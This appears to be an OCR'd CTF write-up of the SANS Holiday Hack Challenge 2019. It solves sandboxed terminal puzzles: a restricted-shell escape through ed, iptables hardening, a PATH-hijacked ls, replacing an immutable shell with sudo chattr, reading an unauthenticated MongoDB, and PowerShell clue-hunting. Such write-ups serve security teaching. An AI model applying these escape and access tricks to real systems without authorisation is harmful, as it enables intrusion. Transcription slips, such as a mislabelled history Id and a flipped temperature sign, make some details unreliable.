


Holiday



Hack



Challenge 2019

Michael Pella @deckerXL



KringleCon

II

kringlecon

II



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
Introduction

START HERE

We begin our journey here <https://holidayhackchallenge.com/2019/>, gain our admission ticket...



and after a few brief instructions we're taken to <https://2019.kringlecon.com/invite>



and then magically transported to the North Pole train station and the start our adventure...



North Pole Train Station

Report Layout

A quick aside on how the report is organized:


1. Achievements
2. Objectives
3. Locations
4. Characters
5. Other Interactive Objects
6. Narrative
7. Code

Achievements:

This section contains the solution write-up for the challenges found throughout ELFU that had a Terminal icon



or

Computer icon  but not necessarily part of the main Objectives

Objectives:

This section contains the solution write-up for Objectives 0 to 12 as found in the Objective section of the player's badge

Locations:

This section contains detailed descriptions of each location area/room including maps, character locations and artifacts

Characters:

This section contains all the character pictures, character dialog, and what each character introduces or unlocks

Other Interactive Objects:

This section contains any other interactive objects not otherwise listed, their dialog and any artifacts they may provide

Narrative:

This section contains each of the narrative components and where or how they were obtained.

Code:

If an Achievement or Objective had a code component to the solution, this section contains the source code for those. All code and maps will also be uploaded to this GitHub repo after the submission deadline on January 13, 2020:

<https://github.com/deckerXL/SANSHolidayHackChallenge2019>




```

lpwd
/home/elf
h
lenv
HOSTNAME=61ffde59a2f3
SHLVL=1
HOME=/home/elf
s/bin/ed
TERM=xterm
RESOURCE_ID=1bd53401-3c92-414c-8660-9d5f730769ba
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33:cd=40;33:0l=
f=40;31:0l=mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32*:tar=01;
31*:tgz=01;31*:arc=01;31*:arj=01;31*:taz=01;31*:lha=01;31*:lza=01;31*:lzh=01;31*:l
zma=01;31*:ltx=01;31*:txz=01;31*:tzo=01;31*:t7z=01;31*:zip=01;31*:z=01;31*:d=01;31*:
gz=01;31*:ltx=01;31*:lz=01;31*:lzo=01;31*:xz=01;31*:tst=01;31*:b2=01;31*:b22=01;
31*:bz=01;31*:bz2=01;31*:t=01;31*:t2=01;31*:deb=01;31*:rpm=01;31*:jar=01;31*:war=01;31*:
ear=01;31*:sar=01;31*:rar=01;31*:alz=01;31*:ace=01;31*:zoo=01;31*:cpio=01;31*:
w=01;31*:7z=01;31*:rz=01;31*:cab=01;31*:wim=01;31*:swm=01;31*:dwm=01;31*:esd=01;31*:j
pg=01;35*:jpeg=01;35*:mpg=01;35*:mpeg=01;35*:gif=01;35*:bmp=01;35*:pbm=01;35*:pgm
=01;35*:ppm=01;35*:tga=01;35*:xbm=01;35*:xpm=01;35*:tif=01;35*:tiff=01;35*:png=01;35
*:sv=01;35*:svg=01;35*:mng=01;35*:pcx=01;35*:mov=01;35*:mpeg=01;35*:mjpeg=01;35*:
m2v=01;35*:mkv=01;35*:webm=01;35*:ogm=01;35*:mp4=01;35*:m4v=01;35*:mp4v=01;35*:vob
=01;35*:qt=01;35*:nuv=01;35*:wmv=01;35*:asf=01;35*:rm=01;35*:rmvb=01;35*:flc=01;35*:
avi=01;35*:fli=01;35*:flv=01;35*:gl=01;35*:dl=01;35*:xcf=01;35*:xwd=01;35*:yuv=01;
35*:cgm=01;35*:emf=01;35*:ogv=01;35*:ogx=01;35*:aac=00;36*:au=00;36*:flac=00;36*:m
p3=00;36*:mp4=00;36*:m4i=00;36*:mka=00;36*:mp3=00;36*:mpc=00;36*:ogg=00;36*:ra=00;
36*:wav=00;36*:oga=00;36*:opus=00;36*:spx=00;36*:xspf=00;36*
PWD=/home/elf

```


```
# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
  if [ -f /usr/share/bash-completion/bash_completion ]; then
    . /usr/share/bash-completion/bash_completion
  elif [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
  fi
fi
cat /home/elf/.message
ed .message
/usr/local/bin/successfulescape
!
```

[illegible]

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Achievement - Smart Braces

This challenge is found in the Student Union and interacting with Kent Tinseltooth will introduce this challenge



*I'll bet you can keep other students out of my head, so to speak.
It might just take a bit of iptables work.*

...

*OK, this is starting to freak me out!
Oh sorry, I'm Kent Tinseltooth. My Smart Braces are acting up.
Do... Do you ever get the feeling you can hear things? Like, voices?
I know, I sound crazy, but ever since I got these... Oh!
Do you think you could take a look at my Smart Braces terminal?
I'll bet you can keep other students out of my head, so to speak.
It might just take a bit of iptables work.*

You can begin the challenge by clicking on the "Smart Braces" terminal icon.

```
Inner Voice: Kent. Kent. Wake up, Kent.
Inner Voice: I'm talking to you, Kent.
Kent Tinseltooth: Who said that? I must be going insane.
Kent Tinseltooth: Am I?
Inner Voice: That remains to be seen, Kent. But we are having a conversation.
Inner Voice: This is Santa, Kent, and you've been a very naughty boy.
Kent Tinseltooth: Alright! Who is this?! Holly? Minty? Alabaster?
Inner Voice: I am known by many names. I am the boss of the North Pole. Turn to me and be hired after graduation.
Kent Tinseltooth: Oh, sure.
Inner Voice: Cut the candy, Kent, you've built an automated, machine-learning, sleigh device.
Kent Tinseltooth: How did you know that?
Inner Voice: I'm Santa - I know everything.
Kent Tinseltooth: Oh. Kringle. *sigh*
Inner Voice: That's right, Kent. Where is the sleigh device now?
Kent Tinseltooth: I can't tell you.
Inner Voice: How would you like to intern for the rest of time?
Kent Tinseltooth: Please no, they're testing it at srf.elfu.org using default creds, but I don't know more. It's classified.
Inner Voice: Very good Kent, that's all I needed to know.
Kent Tinseltooth: I thought you knew everything?
Inner Voice: Nevermind that. I want you to think about what you've researched and studied. From now on, stop playing with your teeth, and floss more.
*Inner Voice Goes Silent*

Kent Tinseltooth: Oh no, I sure hope that voice was Santa's.
Kent Tinseltooth: I suspect someone may have hacked into my IOT teeth braces.
Kent Tinseltooth: I must have forgotten to configure the firewall...
Kent Tinseltooth: Please review /home/elfuuser/IOTteethBraces.md and help me configure the firewall.
Kent Tinseltooth: Please hurry; having this ribbon cable on my teeth is uncomfortable.
elfuuser@b138ed506e3f:~$
```



<https://www.youtube.com/watch?v=YyZ4gGCCqs&t=20>

Hilarious! Following the instructions from IOTteethBraces.md, we need to set some iptables rules to help Kent:

```
elfuuser@b138ed506e3f:~$ cat /home/elfuuser/IOTteethBraces.md
# ElfU Research Labs - Smart Braces
### A Lightweight Linux Device for Teeth Braces
### Imagined and Created by ElfU Student Kent Tinseltooth

This device is embedded into one's teeth braces for easy management and monitoring of dental status. It uses FTP and HTTP for management and monitoring purposes but also has SSH for remote access. Please refer to the management documentation for this purpose.

## Proper Firewall configuration:

The firewall used for this system is 'iptables'. The following is an example of how to set a default policy with using 'iptables':

...
sudo iptables -P FORWARD DROP
...

The following is an example of allowing traffic from a specific IP and to a specific port:
...
sudo iptables -A INPUT -p tcp --dport 25 -s 172.18.5.4 -j ACCEPT
...

A proper configuration for the Smart Braces should be exactly:

1. Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains.
2. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and the OUTPUT chains.
3. Create a rule to ACCEPT only remote source IP address 172.19.0.225 to access the local SSH server (on port 22).
4. Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80.
5. Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80.
6. Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.
elfuuser@b138ed506e3f:~$
```


Here are the iptables rules that need to be entered:

```
sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT DROP
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A INPUT -s 172.19.0.225/32 -p tcp --dport 22 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
sudo iptables -A INPUT -i lo -j ACCEPT
```

Entering them results in completing the challenge:

The following is an example of allowing traffic from a specific IP and to a specific port:

```
sudo iptables -A INPUT -p tcp --dport 25 -s 172.18.5.4 -j ACCEPT
```

A proper configuration for the Smart Braces should be exactly:


1. Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains.
2. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and the OUTPUT chains.
3. Create a rule to ACCEPT only remote source IP address 172.19.0.225 to access the local SSH server (on port 22).
4. Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80.
5. Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80.
6. Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.

```
elfuuser@lbc167163b6b:~$ sudo iptables -P INPUT DROP
elfuuser@lbc167163b6b:~$ sudo iptables -P FORWARD DROP
elfuuser@lbc167163b6b:~$ sudo iptables -P OUTPUT DROP
elfuuser@lbc167163b6b:~$ sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
elfuuser@lbc167163b6b:~$ sudo iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
elfuuser@lbc167163b6b:~$ sudo iptables -A INPUT -s 172.19.0.225/32 -p tcp --dport 22 -j ACCEPT
elfuuser@lbc167163b6b:~$ sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT
elfuuser@lbc167163b6b:~$ sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
elfuuser@lbc167163b6b:~$ sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
elfuuser@lbc167163b6b:~$ sudo iptables -A INPUT -i lo -j ACCEPT
elfuuser@lbc167163b6b:~$ Kent TinselTooth: Great, you hardened my IOT Smart Braces firewall!
```

```
/usr/bin/inkscape: line 10: 372 Killed su elfuuser
```

You have completed the Smart Braces challenge!

This challenge is found in Hermey Hall: Main area and interacting with SugarPlum Mary will introduce this challenge:



You can begin the challenge by clicking on the "Linux Path" terminal icon.

```
Get a listing (ls) of your current directory.
elf@f3a956389e7b:~$ ls
This isn't the ls you're looking for
elf@f3a956389e7b:~$ which ls
/usr/local/bin/ls
elf@f3a956389e7b:~$ find / -name ls 2> /dev/null
/usr/local/bin/ls
/bin/ls
elf@f3a956389e7b:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
elf@f3a956389e7b:~$ /bin/ls
' '   rejected-elfu-logos.txt
Loading, please wait.....

You did it! Congratulations!

elf@f3a956389e7b:~$
```


This challenge can be solved by realizing that a "bad" `ls` command is found first in your `$PATH` order. See the above screenshot for the specific solution steps. Also, some other fun stuff on this system:

[illegible]

```
You have completed the Linux Path
challenge!
```

Achievement - Nyanshell

This challenge is found in Hermey Hall: Speaker UNpreparedness Room and Alabaster Snowball will introduce this challenge:





*My name's Alabaster Snowball and I could use a hand.
I'm trying to log into this terminal, but something's gone horribly wrong.
Every time I try to log in, I get accosted with ... a hatted cat and a toaster pastry?
I thought my shell was Bash, not flying feline.
When I try to overwrite it with something else, I get permission errors.
Have you heard any chatter about immutable files? And what is sudo -l telling me?*

You can begin the challenge by clicking on the "Nyanshell" terminal icon.

If you attempt to switch user (su) to alabaster_snowball, you get nyaned!



This challenge can be solved by realizing that alabaster_snowball's shell has been replaced with /bin/nsh and the file has the immutable flag set so it can't be overwritten. You use chattr with sudo to remove this flag and overwrite /bin/nsh with /bin/bash.



Some enumeration on this host just for fun:

```
alabaster_snowball@1cd52d81ef5b:~$ ls -al
total 5816
drwxr-xr-x 1 alabaster_snowball alabaster_snowball 4096 Dec 11 17:40 .
drwxr-xr-x 1 root root 4096 Dec 11 17:40 ..
-rw-r--r-- 1 alabaster_snowball alabaster_snowball 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 alabaster_snowball alabaster_snowball 3615 Jan 11 01:31 .bashrc
-rw-r--r-- 1 alabaster_snowball alabaster_snowball 807 Apr 18 2019 .profile
-rwxr-xr-x 1 root root 5924704 Nov 18 20:10 success
alabaster_snowball@1cd52d81ef5b:~$ id
uid=1001(alabaster_snowball) gid=1001(alabaster_snowball) groups=1001(alabaster_snowball)
alabaster_snowball@1cd52d81ef5b:~$ uname -a
Linux 1cd52d81ef5b 4.19.0-6-cloud-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64 GNU
Linux
alabaster_snowball@1cd52d81ef5b:~$
```

```
alabaster_snowball@1cd52d81ef5b:/$ ls -al
total 84
drwxr-xr-x 1 root root 4096 Jan 11 01:31 .
drwxr-xr-x 1 root root 4096 Jan 11 01:31 ..
-rwxr-xr-x 1 root root 0 Jan 11 01:31 .dockerenv
drwxr-xr-x 1 root root 4096 Dec 13 19:43 bin
drwxr-xr-x 2 root root 4096 Aug 30 12:31 boot
drwxr-xr-x 5 root root 360 Jan 11 01:31 dev
-rwxr-xr-x 1 root root 212 Nov 18 19:53 entrypoint.sh
drwxr-xr-x 1 root root 4096 Jan 11 01:31 etc
drwxr-xr-x 1 root root 4096 Dec 11 17:40 home
drwxr-xr-x 1 root root 4096 Nov 18 20:12 lib
drwxr-xr-x 2 root root 4096 Oct 14 00:00 lib64
drwxr-xr-x 2 root root 4096 Oct 14 00:00 media
drwxr-xr-x 2 root root 4096 Oct 14 00:00 mnt
drwxr-xr-x 2 root root 4096 Oct 14 00:00 opt
dr-xr-xr-x 209 root root 0 Jan 11 01:31 proc
drwx----- 2 root root 4096 Oct 14 00:00 root
drwxr-xr-x 3 root root 4096 Oct 14 00:00 run
drwxr-xr-x 2 root root 4096 Oct 14 00:00 sbin
drwxr-xr-x 2 root root 4096 Oct 14 00:00 srv
dr-xr-xr-x 13 root root 0 Jan 8 14:10 sys
drwxrwxrwt 1 root root 4096 Jan 11 01:31 tmp
drwxr-xr-x 1 root root 4096 Oct 14 00:00 usr
drwxr-xr-x 1 root root 4096 Oct 14 00:00 var
alabaster_snowball@1cd52d81ef5b:/$ cat entrypoint.sh
#!/bin/bash


chmod +x /bin/nsh
chattr +i /bin/nsh

echo "export RESOURCE_ID=$RESOURCE_ID" >> /home/alabaster_snowball/.bashrc
echo "/home/alabaster_snowball/success" >> /home/alabaster_snowball/.bashrc

su - elf
alabaster_snowball@1cd52d81ef5b:/$
```

You have completed the Nyanshell challenge!

This challenge is found in Hermey Hall: NetWars Room and interacting with Holly Evergreen will introduce this challenge:



You can begin the challenge by clicking on the "Mongo Pilfer" terminal icon.

The first step is to find the running process with `ps` and also check for any `netstat` listeners for `mongod`. This will show that `mongod` is listening on port `27020/tcp` which we'll need this information to connect to it using the `mongo` command line client.

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Once we connect to the database with the mongo command-line client, we can show dbs. The database elfu looks interesting, so we can make that our current context with use elfu. Then we can list collections in that database using show collections. I see what Holly Evergreen was talking about in the banner - several fish/fishing related collections are listed. However, the solutions collection looks like our goal and we can search that collection using db.solution.find({}) command.

```
db-12121.sock
elf@fd4a0a552755:~$ mongo --port 12121
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:12121/
MongoDB server version: 3.6.3
Welcome to the MongoDB shell.
For interactive help, type "help".
For more comprehensive documentation, see
  http://docs.mongodb.org/
Questions? Try the support group
  http://groups.google.com/group/mongodb-user
Server has startup warnings:
2019-12-25T04:21:26.231+0000 I CONTROL [initandlisten]
2019-12-25T04:21:26.231+0000 I CONTROL [initandlisten] ** WARNING: Access control is not
enabled for the database.
2019-12-25T04:21:26.231+0000 I CONTROL [initandlisten] **           Read and write access
to data and configuration is unrestricted.
2019-12-25T04:21:26.231+0000 I CONTROL [initandlisten]
2019-12-25T04:21:26.231+0000 I CONTROL [initandlisten]
2019-12-25T04:21:26.231+0000 I CONTROL [initandlisten] ** WARNING: /sys/kernel/mm/transparent_hugepage/enabled is 'always'.
2019-12-25T04:21:26.231+0000 I CONTROL [initandlisten] **           We suggest setting it to
"never"
2019-12-25T04:21:26.231+0000 I CONTROL [initandlisten]
> show dbs
admin    0.000GB
elfu     0.000GB
local    0.000GB
test     0.000GB
> use elfu
switched to db elfu
> show collections
bait
chum
line
metadata
solution
system.js
tackle
tincan
> db.solution.find({})
{ "_id" : "You did good! Just run the command between the stars: ** db.loadServerScripts();displaySolution(); **" }
>
```

However, before we get the final solution, I wonder what else is in here...

```
> use test
switched to db test
> show collections
redherring
> db.redherring.find({})
{ "_id" : "This is not the database you're looking for." }
> use elfu
switched to db elfu
> show collections
bait
chum
line
metadata
solution
system.js
tackle
tincan
> db.bait.find({})
{ "_id" : "Gait" }
> db.chum.find({})
{ "_id" : "Yum!" }
> db.tackle.find({})
{ "_id" : "Mackerel?" }
> db.tincan.find({})
{ "_id" : "SARDINES" }
```

Some more interesting stuff...

[illegible]

Well ok, we took a look around. Now let's enter the final command: `db.loadServerScripts();displaySolution();`

```
> db.solution.find({})
{ "_id" : "You did good! Just run the command between the stars: ** db.loadServerScripts()
;displaySolution(); **" }
> db.loadServerScripts();displaySolution();
```

And..

```

      .
     / \
    /   \
   /.'o' \
  .o.'.'
 .'.'.o'.
.'.'.o'.
o'.o'.'.*
.'.o'.'.*.
.o.'.o.'.o.'.
  [_____]
   / \

```

Congratulations!!

> 1

You have completed the Mongo Pilfer challenge!

Achievement - Xmas Cheer Laser

This challenge is found in Hermey Hall: Laboratory and interacting with Sparkle Redberry will introduce this challenge.



*I'm Sparkle Redberry and Imma chargin' my laser!
Problem is: the settings are off.
Do you know any PowerShell?
It'd be GREAT if you could hop in and recalibrate this thing.
It spreads holiday cheer across the Earth ...
... when it's working!*

This was a fun one! You can begin the challenge by clicking on the "Xmas Cheer Laser" terminal icon.

```
WARNING: ctrl + c restricted in this terminal - Do not use endless loops
Type exit to exit PowerShell.

PowerShell 6.2.3
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/powershell-docs
Type 'help' to get help.

#####
# Elf University Student Research Terminal - Christmas Cheer Laser Project
#####
# The research department at Elf University is currently working on a top-secret
# Laser which shoots laser beams of Christmas cheer at a range of hundreds of
# miles. The student research team was successfully able to tweak the laser to
# JUST the right settings to achieve 5 Mega-Jollies per liter of laser output.
# Unfortunately, someone broke into the research terminal, changed the laser
# settings through the Web API and left a note behind at /home/callingcard.txt.
# Read the calling card and follow the clues to find the correct laser Settings.
# Apply these correct settings to the laser using it's Web API to achieve laser
# output of 5 Mega-Jollies per liter.
# Use [Invoke-WebRequest -Uri http://localhost:1225/] .RawContent for more info.
#####

PS /home/elf>
```

<https://www.youtube.com/watch?v=0ds0wYpc1eM&t=28>

The first thing you notice is **you're locked into a PowerShell prompt**, so time to brush up on PowerShell. Let's take a look at the API:

```
#####
# Use [Invoke-WebRequest -Uri http://localhost:1225/] .RawContent for more info.
#####

PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/).RawContent
HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Wed, 25 Dec 2019 20:08:55 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 860

<html>
<body>
<pre>
.....
Christmas Cheer Laser Project Web API
.....
Turn the laser on/off:
GET http://localhost:1225/api/on
GET http://localhost:1225/api/off

Check the current Mega-Jollies of laser output
GET http://localhost:1225/api/output

Change the lense refraction value (1.0 - 2.0):
GET http://localhost:1225/api/refraction?val=1.0

Change laser temperature in degrees Celsius:
GET http://localhost:1225/api/temperature?val=-10

Change the mirror angle value (0 - 359):
GET http://localhost:1225/api/angle?val=45.1

Change gaseous elements mixture:
POST http://localhost:1225/api/gas
POST BODY EXAMPLE (gas mixture percentages):
0=5dH=5dHe=5dN=5dNe=20dAr=10dXe=10dF=20dKr=10dPn=10
.....
</pre>
</body>
</html>
PS /home/elf>
```

```
(Invoke-WebRequest -Uri http://localhost:1225/).RawContent
```

With the API we can set the proper settings if we know what values to use. To solve this challenge the laser must be set back to the right settings and we need to find the correct:

1. angle value
2. refraction value
3. temperature value
4. gas value

Now let's take a look at /home/callingcard.txt:

```
PS /home/elf> Get-Content /home/callingcard.txt
What's become of your dear laser?
Fa la la la la, la la la la
Seems you can't now seem to raise her!
Fa la la la la, la la la la
Could commands hold riddles in hist'ry?
Fa la la la la, la la la la
Nay! You'll ever suffer myst'ry!
Fa la la la la, la la la la
PS /home/elf>
```

```
Get-Content /home/callingcard.txt
```

Our first clue is here: *"Could commands hold riddles in hist'ry?"*. We need to inspect the PowerShell command history.

```
PS /home/elf> Get-History

Id CommandLine
-----
1 Get-Help -Name Get-Process
2 Get-Help -Name Get-*
3 Set-ExecutionPolicy Unrestricted
4 Get-Service | ConvertTo-HTML -Property Name, Status > C:\services.htm
5 Get-Service | Export-CSV c:\service.csv
6 Get-Service | Select-Object Name, Status | Export-CSV c:\service.csv
7 (Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent
8 Get-EventLog -Log "Application"
9 I have many name=value variables that I share to applications system wide. At a com...
10 Get-Content /home/callingcard.txt

PS /home/elf>
```

```
Get-History
```

We see "Id 6" holds the correct angle value we need of **65.5**, so we have our first value!

```
(Invoke-WebRequest -Uri http://127.0.0.1:1225/api/angle?val=65.5).RawContent
```

The next clue is looking at "Id 9" in the Get-History list.

```
PS /home/elf> Get-History -Id 9

Id CommandLine
-----
9 I have many name=value variables that I share to applications system wide. At a command...

PS /home/elf> Get-History -Id 9 | fl

Id           : 9
CommandLine  : I have many name=value variables that I share to applications system
               wide. At a command I will reveal my secrets once you Get my Child Items.
ExecutionStatus : Completed
StartExecutionTime : 11/29/19 4:57:16 PM
EndExecutionTime   : 11/29/19 4:57:16 PM
Duration       : 00:00:00.6090308
```

```
Get-History -Id 9
Get-History -Id 9 | fl
```

This sounds like a reference to environment variables, so let's look at those using PowerShell:

```
PS /home/elf> Set-Location Env:
PS Env:/> Get-ChildItem

Name                           Value
----                           -
DOTNET_SYSTEM_GLOBALIZATION_I... false
HOME                           /home/elf
HOSTNAME                       d8257dd39f59
LANG                           en_US.UTF-8
LC_ALL                         en_US.UTF-8
LOGNAME                         elf
MAIL                           /var/mail/elf
PATH                           /opt/microsoft/powershell/6:/usr/local/sbin:/usr/local/bi...
PSModuleAnalysisCachePath     /var/cache/microsoft/powershell/PSModuleAnalysisCache/Mod...
PSModulePath                   /home/elf/.local/share/powershell/Modules:/usr/local/shar...
PWD                             /home/elf
RESOURCE_ID                    3c43078a-566f-4f10-bbbc-7b52c101fdb7
riddle                        Squeezed and compressed I am hidden away. Expand me from ...
SHELL                          /home/elf/elf
SHLVL                          1
TERM                           xterm
USER                           elf
USERDOMAIN                    laserterminal
userdomain                    laserterminal
username                      elf
USERNAME                      elf

PS Env:/> Get-ChildItem riddle | fl

Name : riddle
Value : Squeezed and compressed I am hidden away. Expand me from my prison and I will
show you the way. Recurse through all /etc and Sort on my LastWriteTime to
reveal im the newest of all.
```

```
Set-Location Env:
Get-ChildItem
Get-ChildItem riddle | fl
```

We need to list recursively all files in /etc and find the file with the most recent LastWriteTime:

```
PS /> Get-ChildItem -Recurse /etc -ErrorAction 'silentlycontinue' | Sort-Object LastWriteTime | Select-Object -Last 1

Directory: /etc/apt

Mode                LastWriteTime         Length Name
----                -
--r--              12/25/19  4:04 PM       5662902 archive

PS /> █
```

```
Set-Location /etc
Get-ChildItem -Recurse /etc -ErrorAction 'silentlycontinue' | Sort-Object LastWriteTime | Select-Object -Last 1
```

We find a file called archive . Let's try to uncompress it.

```
PS /etc> Expand-Archive -Path /etc/apt/archive -DestinationPath /tmp
PS /etc> Set-Location /tmp
PS /tmp> Get-ChildItem -Force | Sort-Object LastWriteTime | Select-Object -Last 1

Directory: /tmp

Mode                LastWriteTime         Length Name
----                -
d-----          12/25/19  5:00 PM           refraction

PS /tmp> Set-Location /tmp/refraction/
PS /tmp/refraction> Get-ChildItem -Force

Directory: /tmp/refraction

Mode                LastWriteTime         Length Name
----                -
-----          11/7/19 11:57 AM           134 riddle
-----          11/5/19  2:26 PM       5724384 runme.elf
```

```
Expand-Archive -Path /etc/apt/archive -DestinationPath /tmp
Set-Location /tmp
Get-ChildItem -Force | Sort-Object LastWriteTime | Select-Object -Last 1
```


Now let's chmod and run the ./runme.elf:

```
PS /tmp/refraction> Get-ChildItem -Force

Directory: /tmp/refraction

Mode                LastWriteTime         Length Name
----                -
-----                11/7/19 11:57 AM             134 riddle
-----                11/5/19  2:26 PM        5724384 runme.elf

PS /tmp/refraction> chmod 755 ./runme.elf
PS /tmp/refraction> ./runme.elf
refraction?val=1.867
PS /tmp/refraction> █
```

```
Get-ChildItem -Force
chmod 755 ./runme.elf
./runme.elf
```

We now have the correct **refraction** value of **1.867**

```
(Invoke-WebRequest -Uri http://127.0.0.1:1225/api/refraction?val=1.867).RawContent
```

Our next clue is in the riddle file that's also here:

```
PS /tmp/refraction> Get-ChildItem -Force

Directory: /tmp/refraction

Mode                LastWriteTime         Length Name
----                -
-----                11/7/19 11:57 AM             134 riddle
-----                11/5/19  2:26 PM        5724384 runme.elf

PS /tmp/refraction> Get-Content ./riddle
Very shallow am I in the depths of your elf home. You can find my entity by using my md5 i
dentity:

25520151A320B5B0D21561F92C8F6224
```

```
Get-ChildItem -Force
Get-Content ./riddle
```

In the /home/elf there is a directory called *depths* which has a huge nested directory structure of files. This clue states we need to recurse that directory structure and find the file with this md5 hash: 25520151A320B5B0D21561F92C8F6224

```
PS /home/elf/depths> Get-ChildItem -Recurse -File -Force -Path *.txt | Get-FileHash -Algori
thm MD5 | Select-Object Hash,Path | Select-String -Pattern '25520151A320B5B0D21561F92C8F6
224'

@{Hash=25520151A320B5B0D21561F92C8F6224; Path=/home/elf/depths/produce/thhy5hll.txt}

PS /home/elf/depths> █
```

```
Set-Location /home/elf/depths
Get-ChildItem -Recurse -File -Force -Path *.txt | Get-FileHash -Algorithm MD5 | Select-Object Hash,Path | Select-String -
Pattern '25520151A320B5B0D21561F92C8F6224'
```

We find a file at /home/elf/depths/produce/thhy5h11.txt that matches the md5 hash value. Let's view it.

```
PS /home/elf/depths> Get-Content /home/elf/depths/produce/thhy5h11.txt
temperature?val=-33.5
```

I am one of many thousand similar txt's contained within the deepest of /home/elf/depths. Finding me will give you the most strength but doing so will require Piping all the FullNames to Sort Length.

```
PS /home/elf/depths> █
```

```
Get-Content /home/elf/depths/produce/thhy5h11.txt
```

We now have the correct **temperature** value of **33.5**

```
(Invoke-WebRequest -Uri http://127.0.0.1:1225/api/temperature?val=33.5).RawContent
```

We just need one more value, gas, and the clue is shown in the screenshot above. We need to recurse the /home/elf/depths directory structure and find the file with the longest FullName attribute

```
PS /home/elf/depths> Get-ChildItem -Recurse -File -Force | Select-Object {$_.fullname.length}, Fullname | Sort-Object -Property {$_.fullname.length} | select-Object -Last 1 | fl
```

```
$_.fullname.length : 388
FullName           : /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt
```

```
PS /home/elf/depths> Get-Content /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt
```

Get process information to include Username identification. Stop Process to show me you're skilled and in this order they must be killed:

```
bushy
alabaster
minty
holly
```

Do this for me and then you /shall/see .

```
PS /home/elf/depths> █
```

```
Get-ChildItem -Recurse -File -Force | Select-Object {$_.fullname.length}, Fullname | Sort-Object -Property {$_.fullname.length} | select-Object -Last 1 | fl
Get-Content
/home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt
```

The next clue is we need to stop those 4 processes (designated by: bushy, alabaster, minty, holly) in that particular order and then check the directory /shall/see. Note that bushy, alabaster, minty and holly refer to the **user running the process**, not the process name. So, we'll need to list processes with the *IncludeUserName* property.

```
PS /home/elf/depths> Get-Process -IncludeUserName

WS(M)    CPU(s)    Id  UserName    ProcessName
-----
26.85     1.56      6   root        CheerLaserServi
161.25    55.09     31  elf         elf
3.55      0.03      1   root        init
0.82      0.00      24  bushy       sleep
0.72      0.00      26  alabaster   sleep
0.77      0.00      27  minty       sleep
0.80      0.00      29  holly       sleep
3.28      0.00      30  root        su

PS /home/elf/depths> Stop-Process Id 24
PS /home/elf/depths> Stop-Process Id 26
PS /home/elf/depths> Stop-Process Id 27
PS /home/elf/depths> Stop-Process Id 29
PS /home/elf/depths> Set-Location /shall/
PS /shall> Get-ChildItem

Directory: /shall

Mode                LastWriteTime         Length Name
----
--r---            12/25/19  6:35 PM             149 see

PS /shall> Get-Content ./see
Get the .xml children of /etc - an event log to be found. Group all .Id's and the last thing will be in the Properties of the lonely unique event Id.
PS /shall> 
```

```
Get-Content Get-Process -IncludeUserName
Stop-Process Id 24
Stop-Process Id 26
Stop-Process Id 27
Stop-Process Id 29
Set-Location /shall/
Get-ChildItem
Get-Content /shall/see
```

This leads to another clue where we need to find an .xml file somewhere in the /etc directory structure and then examine the XML looking for a unique event Id in the Properties tag

```
